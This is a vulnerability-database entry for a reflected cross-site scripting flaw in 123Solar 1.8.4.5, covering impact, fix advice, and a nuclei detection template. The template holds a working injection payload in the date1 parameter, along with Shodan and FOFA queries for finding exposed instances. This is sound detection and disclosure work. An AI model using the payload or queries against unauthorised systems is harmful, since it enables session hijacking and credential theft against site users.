HexBrain

Browse / CVEs / CVE-2024-9007

CVE-2024-9007· 123solar / 123solar· CWE-79

123Solar 1.8.4.5 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1%likelihood of exploitation, next 30 days
63%of all CVEs are less likely
Readycheck to confirm it

123Solar 1.8.4.5 is vulnerable to reflected cross-site scripting (XSS) via the date1 parameter in detailed.php. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.

Impact

Successful exploitation of this XSS vulnerability allows attackers to execute arbitrary JavaScript code in victims' browsers, potentially leading to session hijacking, credential theft, or other malicious activities.

Fix

Update 123Solar to the latest version. Implement proper input validation and output encoding for all user-supplied data, especially the date1 parameter in detailed.php.

How to confirm it

Send: POST /123solar/{{path}}
Positive when: contains "<script>alert(document.domain)</script>" and "datepickid" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-9007 -u <target>

The full check
id: CVE-2024-9007

info:
  name: 123Solar 1.8.4.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    123Solar 1.8.4.5 is vulnerable to reflected cross-site scripting (XSS) via the date1 parameter in detailed.php. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
  impact: |
    Successful exploitation of this XSS vulnerability allows attackers to execute arbitrary JavaScript code in victims' browsers, potentially leading to session hijacking, credential theft, or other malicious activities.
  remediation: |
    Update 123Solar to the latest version. Implement proper input validation and output encoding for all user-supplied data, especially the date1 parameter in detailed.php.
  reference:
    - https://github.com/Hebing123/cve/issues/73
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9007
  classification:
    epss-score: 0.01006
    epss-percentile: 0.63291
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-9007
    cwe-id: CWE-79
    cpe: cpe:2.3:a:123solar:123solar:1.8.4.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: 123solar
    product: 123solar
    fofa-query: title="123Solar"
    shodan-query: title:"123Solar"
  tags: cve,cve2024,xss,123solar,vuln

http:
  - raw:
      - |
        POST /123solar/{{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        date1=01/01/1967'><script>alert(document.domain)</script>&checkavgpower=on&checkPROD=on&checkPERF=on&checkIP1=on&checkIV1=on&checkIA1=on&checkPERF1=on&checkIP2=on&checkIV2=on&checkIA2=on&checkPERF2=on&checkG1P=on&checkG1V=on&checkG1A=on&checkFRQ=on&checkINVT=on&checkBOOT=on&checkEFF=on

    payloads:
      path:
        - 'detailed.php'
        - 'indexdetailed.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "datepickid"
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from